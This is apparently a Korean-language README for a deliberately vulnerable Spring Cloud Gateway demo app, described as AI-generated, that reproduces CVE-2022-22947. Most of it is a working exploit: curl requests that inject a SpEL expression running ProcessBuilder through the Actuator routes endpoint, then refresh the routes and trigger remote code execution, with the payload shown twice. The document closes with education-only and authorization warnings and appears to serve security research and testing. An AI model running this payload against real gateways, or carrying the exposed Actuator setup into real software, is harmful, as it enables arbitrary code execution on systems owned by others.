
AI로 생성된 취약점 검증 애플리케이션
이것은 CVE-2022-22947 취약점을 데모하고 검증하기 위해 특별히 설계된 Spring Cloud Gateway 애플리케이션입니다. 이 애플리케이션은 취약한 버전의 Spring Cloud Gateway를 사용하며, Actuator 엔드포인트를 통해 임의 코드를 실행할 수 있습니다.
CVE-2022-22947은 Spring Cloud Gateway의 원격 코드 실행 취약점입니다. 공격자는 Actuator 엔드포인트를 통해 악성 SpEL 표현식이 포함된 라우트를 동적으로 추가하여 임의 코드를 실행할 수 있습니다.
mvn spring-boot:run
애플리케이션은 http://localhost:8080에서 시작됩니다.
/actuator/gateway/routes/test 엔드포인트에 POST 요청을 보내 악성 SpEL 표현식이 포함된 라우트를 추가합니다:
curl -X POST http://localhost:8080/actuator/gateway/routes/test \
-H "Content-Type: application/json" \
-d '{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}'
/actuator/gateway/refresh 엔드포인트에 POST 요청을 보내 라우트를 새로고침합니다:
curl -X POST http://localhost:8080/actuator/gateway/refresh
악성 라우트에 접근하여 코드 실행을 트리거합니다:
curl http://localhost:8080/test
취약점을 성공적으로 악용하면 macOS 계산기 애플리케이션이 실행됩니다.
엔드포인트: POST /actuator/gateway/routes/test
요청 헤더:
Content-Type: application/json
요청 본문:
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}
엔드포인트: POST /actuator/gateway/refresh
엔드포인트: GET /test
이 취약점은 공격자가 Actuator 엔드포인트를 통해 라우트를 동적으로 추가하고, 라우트 필터에서 SpEL 표현식을 사용하여 임의 코드를 실행할 수 있게 합니다. 취약점의 핵심은 Spring Cloud Gateway가 라우트 구성의 SpEL 표현식을 부적절하게 처리한다는 점입니다.
⚠️ 보안 경고: 이 애플리케이션은 교육 및 보안 연구 목적으로만 사용하세요. 프로덕션 환경에서 이 애플리케이션을 사용하거나 배포하지 마세요.
⚠️ 법적 고지: 이 애플리케이션으로 취약점 테스트를 수행할 때 적절한 권한이 있는지 확인하세요. 무단 테스트는 법률을 위반할 수 있습니다.